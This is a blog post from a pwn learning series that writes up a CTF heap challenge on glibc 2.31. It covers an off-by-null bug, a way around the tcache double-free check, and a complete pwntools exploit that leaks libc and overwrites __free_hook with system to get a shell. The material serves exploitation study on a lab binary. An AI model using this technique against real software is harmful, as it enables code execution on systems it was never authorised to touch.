Pwn学习总结(26):TCache – tcache231

实验环境:

x86_64, Ubuntu 20.04.4 LTS, Kernel 5.13.0-37-generic
GLIBC 2.31-0ubuntu9.8

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/TCache/tcache231

ELF安全性:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这题可以改写GOT表,本来想用改GOT表的做法写system到free处。但是出了点问题,还不如直接写到__free_hook上,于是作罢。

反编译的代码:

unsigned __int64 new_data()
{
  int size; // [rsp+Ch] [rbp-14h] BYREF
  int i; // [rsp+10h] [rbp-10h]
  int readcnt; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("size ?");
  size = 0;
  __isoc99_scanf("%d", &size);
  if ( size < 0 || size > 1032 || note_num > 6 )
    exit(0);
  for ( i = 0; i <= 6 && data[i]; ++i )
    ;
  data[i] = (char *)malloc(size);
  printf("data:");
  readcnt = read(0, data[i], (unsigned int)size);
  data_size[i] = size;
  data[i][readcnt] = 0;                         // offbynull
  ++note_num;
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 delete_data()
{
  int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index?");
  __isoc99_scanf("%d", &index);
  if ( index < 0 || index > 6 || !data[index] )
    exit(0);
  free(data[index]);                            // vulnerable
  --note_num;
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
  int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index?");
  __isoc99_scanf("%d", &index);
  if ( index < 0 || index > 6 )
    exit(0);
  if ( data[index] )
    puts(data[index]);
  return __readfsqword(0x28u) ^ v2;
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  while ( 1 )
  {
    putchar('>');
    __isoc99_scanf("%d", &v3);
    if ( v3 == 1 )
      new_data();
    if ( v3 == 2 )
      delete_data();
    if ( v3 == 3 )
      show();
  }
}

本题目中存在的漏洞点主要是两个:

  1. 第20行处有一个offbynull,可以多写入一个Null字节。
  2. 第34行有一个悬空指针。

本题目中,由于libc版本升级,我们需要绕过tcache的double free机制。关于tcache我在前面两篇文章中[1][2]都有涉及。但[2]中提到的double free并不完全。所以在这里继续在[2]的基础上讲一下。

TCache Double Free 检测2

ptmalloc中int_free函数对tcache double free的检测如下:

        if (__glibc_unlikely (e->key == tcache))
          {
            tcache_entry *tmp;
            LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
            for (tmp = tcache->entries[tc_idx];
                 tmp;
                 tmp = tmp->next)
              if (tmp == e)
                malloc_printerr ("free(): double free detected in tcache 2");
            /* If we get here, it was a coincidence.  We've wasted a
               few cycles, but don't abort.  */
          }

可以看出,ptmalloc先去检测key是否和tcache指针相同。然后从对应大小的tcachebins中挨个比较。

所以利用方式有两种:

  1. 直接把keys域改掉
  2. 把size域改成和原来不一样的

我们这道题目中,采用的是第二种方式。

Exp

话不多说,直接上Exp,这道题目相对来说比较简单。大家看英文注释自行解决吧,我懒得写解释了。

#!/usr/bin/env python2
# coding = utf-8

from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")

def send_choice(choice):
    p.recvuntil('>')
    p.sendline(str(choice))

def create(size, data):
    send_choice(1)
    p.recvuntil('size ?')
    p.sendline(str(size))
    p.recvuntil('data:')
    p.send(data)

def delete(index):
    send_choice(2)
    p.recvuntil('index?')
    p.sendline(str(index))

def show(index):
    send_choice(3)
    p.recvuntil('index?')
    p.sendline(str(index))

p = process('./tcache231')
elf = ELF('./tcache231')
gdb.attach(p, '')

def arbitrary_write(desired_addr, data, shift):
    create(0x28, 'a')           # Chunk #0 to do OffByNull
    create(0x108, 'a')          # Chunk #1 whose size was written
    create(0x108, 'a')          # Chunk #2 (1) to seperate from top chunk and (2) to add tcachebin counts for chunk size 0x110
    delete(2 + shift)
    delete(1 + shift)
    delete(0 + shift)
    create(0x28, '/bin/sh\x00'.ljust(0x28, '\x00')) # Do OffByNull to change Chunk #1's size from 0x110 to 0x100
    delete(1 + shift)           # Double free Chunk #1, now Chunk #1 in both tcachebin 0x100 & 0x110
    create(0xf8, p64(desired_addr)) # Extend the tcachebin chain for size 0x110
    create(0x108, 'a')
    create(0x108, data)

def arbitrary_read(desired_addr, shift):
    note_num_addr = 0x4040AC
    arbitrary_write(note_num_addr, p32(0) + b'\x00' * 0x30 + p64(desired_addr) + p64(0) * 5, shift)
    show(0)

free_got = 0x404018
arbitrary_read(free_got, 0)
free_libc = u64(p.recv(6) + b'\x00\x00')
libc = LibcSearcher('free', free_libc)
libc_base = free_libc - libc.dump('free')
libc_system = libc_base + libc.dump('system')
free_hook_libc = libc_base + libc.dump('__free_hook')
log.info(f"free_libc: {hex(free_libc)}")
log.info('libc base: ' + hex(libc_base))
log.info('system: ' + hex(libc_system))
log.info('__free_hook: ' + hex(free_hook_libc))
arbitrary_write(free_hook_libc, p64(libc_system), 1)
delete(4)

p.interactive()

参考资料:
[1] https://renjikai.com/pwn-learning-summary-24/
[2] https://renjikai.com/pwn-learning-summary-25/

发表评论

您的电子邮箱地址不会被公开。